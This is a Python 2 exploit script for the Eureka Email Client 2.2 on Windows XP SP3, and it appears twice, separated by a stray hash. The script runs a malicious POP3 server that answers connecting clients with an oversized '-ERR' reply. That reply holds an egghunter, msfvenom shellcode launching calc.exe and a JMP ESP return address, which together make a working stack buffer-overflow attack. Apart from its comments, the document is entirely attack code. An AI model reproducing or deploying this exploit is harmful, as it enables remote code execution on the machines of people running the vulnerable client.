#Eureka Email Client 2.2 XP SP3 Exploit 
import socket
host = '192.168.1.10'
port = 110
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host,port))
    s.listen(5)
except socket.error:
    print 'Failed to create socket'
    sys.exit()
print '[+] Listening for connections on port: {0}'.format(port)

# msf-egghunter -e suls -f python 
egg =  ""
egg += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
egg += "\x05\x5a\x74\xef\xb8\x73\x75\x6c\x73\x89\xd7\xaf\x75"
egg += "\xea\xaf\x75\xe7\xff\xe7"

# msfvenom -p windows/exec CMD=calc.exe  -f python EXITFUNC=thread -b "\x00\xcc"
buf =  ""
buf += "\xb8\x86\x91\xb8\x3d\xda\xc2\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x31\x83\xc6\x04\x31\x46\x0f\x03\x46\x89\x73"
buf += "\x4d\xc1\x7d\xf1\xae\x3a\x7d\x96\x27\xdf\x4c\x96\x5c"
buf += "\xab\xfe\x26\x16\xf9\xf2\xcd\x7a\xea\x81\xa0\x52\x1d"
buf += "\x22\x0e\x85\x10\xb3\x23\xf5\x33\x37\x3e\x2a\x94\x06"
buf += "\xf1\x3f\xd5\x4f\xec\xb2\x87\x18\x7a\x60\x38\x2d\x36"
buf += "\xb9\xb3\x7d\xd6\xb9\x20\x35\xd9\xe8\xf6\x4e\x80\x2a"
buf += "\xf8\x83\xb8\x62\xe2\xc0\x85\x3d\x99\x32\x71\xbc\x4b"
buf += "\x0b\x7a\x13\xb2\xa4\x89\x6d\xf2\x02\x72\x18\x0a\x71"
buf += "\x0f\x1b\xc9\x08\xcb\xae\xca\xaa\x98\x09\x37\x4b\x4c"
buf += "\xcf\xbc\x47\x39\x9b\x9b\x4b\xbc\x48\x90\x77\x35\x6f"
buf += "\x77\xfe\x0d\x54\x53\x5b\xd5\xf5\xc2\x01\xb8\x0a\x14"
buf += "\xea\x65\xaf\x5e\x06\x71\xc2\x3c\x4c\x84\x50\x3b\x22"
buf += "\x86\x6a\x44\x12\xef\x5b\xcf\xfd\x68\x64\x1a\xba\x97"
buf += "\x86\x8f\xb6\x3f\x1f\x5a\x7b\x22\xa0\xb0\xbf\x5b\x23"
buf += "\x31\x3f\x98\x3b\x30\x3a\xe4\xfb\xa8\x36\x75\x6e\xcf"
buf += "\xe5\x76\xbb\xac\x68\xe5\x27\x1d\x0f\x8d\xc2\x61"




while True:
    c, addr = s.accept()
    print '[+] Client connected: {0}'.format(addr[0])
    print '[+] Sending Evil payload: {0}'.format(addr[0])
    evil = "sulssuls" 
    evil += buf 
    evil += "A" * (711 - 8 -  len(buf))
    evil += "\x6b\x8c\x49\x7e" #7 E498C6B JMP ESP user32.dll 
    evil += "\x90" * 10 
    evil += egg # Egghunter      
    evil += "C" * (5000 - 711 - 4 - 10 - len(egg) )
    payload = "-ERR " + evil + "\r\n"
    #print(payload)
    c.send(payload)
    print repr(addr[1]) + ": " + c.recv(1024)
    c.close()   




7661c3a37345af511178a4f1352036e935e10242
#Eureka Email Client 2.2 XP SP3 Exploit 
import socket
host = '192.168.1.10'
port = 110
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host,port))
    s.listen(5)
except socket.error:
    print 'Failed to create socket'
    sys.exit()
print '[+] Listening for connections on port: {0}'.format(port)

# msf-egghunter -e suls -f python 
egg =  ""
egg += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
egg += "\x05\x5a\x74\xef\xb8\x73\x75\x6c\x73\x89\xd7\xaf\x75"
egg += "\xea\xaf\x75\xe7\xff\xe7"

# msfvenom -p windows/exec CMD=calc.exe  -f python EXITFUNC=thread -b "\x00\xcc"
buf =  ""
buf += "\xb8\x86\x91\xb8\x3d\xda\xc2\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x31\x83\xc6\x04\x31\x46\x0f\x03\x46\x89\x73"
buf += "\x4d\xc1\x7d\xf1\xae\x3a\x7d\x96\x27\xdf\x4c\x96\x5c"
buf += "\xab\xfe\x26\x16\xf9\xf2\xcd\x7a\xea\x81\xa0\x52\x1d"
buf += "\x22\x0e\x85\x10\xb3\x23\xf5\x33\x37\x3e\x2a\x94\x06"
buf += "\xf1\x3f\xd5\x4f\xec\xb2\x87\x18\x7a\x60\x38\x2d\x36"
buf += "\xb9\xb3\x7d\xd6\xb9\x20\x35\xd9\xe8\xf6\x4e\x80\x2a"
buf += "\xf8\x83\xb8\x62\xe2\xc0\x85\x3d\x99\x32\x71\xbc\x4b"
buf += "\x0b\x7a\x13\xb2\xa4\x89\x6d\xf2\x02\x72\x18\x0a\x71"
buf += "\x0f\x1b\xc9\x08\xcb\xae\xca\xaa\x98\x09\x37\x4b\x4c"
buf += "\xcf\xbc\x47\x39\x9b\x9b\x4b\xbc\x48\x90\x77\x35\x6f"
buf += "\x77\xfe\x0d\x54\x53\x5b\xd5\xf5\xc2\x01\xb8\x0a\x14"
buf += "\xea\x65\xaf\x5e\x06\x71\xc2\x3c\x4c\x84\x50\x3b\x22"
buf += "\x86\x6a\x44\x12\xef\x5b\xcf\xfd\x68\x64\x1a\xba\x97"
buf += "\x86\x8f\xb6\x3f\x1f\x5a\x7b\x22\xa0\xb0\xbf\x5b\x23"
buf += "\x31\x3f\x98\x3b\x30\x3a\xe4\xfb\xa8\x36\x75\x6e\xcf"
buf += "\xe5\x76\xbb\xac\x68\xe5\x27\x1d\x0f\x8d\xc2\x61"




while True:
    c, addr = s.accept()
    print '[+] Client connected: {0}'.format(addr[0])
    print '[+] Sending Evil payload: {0}'.format(addr[0])
    evil = "sulssuls" 
    evil += buf 
    evil += "A" * (711 - 8 -  len(buf))
    evil += "\x6b\x8c\x49\x7e" #7 E498C6B JMP ESP user32.dll 
    evil += "\x90" * 10 
    evil += egg # Egghunter      
    evil += "C" * (5000 - 711 - 4 - 10 - len(egg) )
    payload = "-ERR " + evil + "\r\n"
    #print(payload)
    c.send(payload)
    print repr(addr[1]) + ": " + c.recv(1024)
    c.close()   



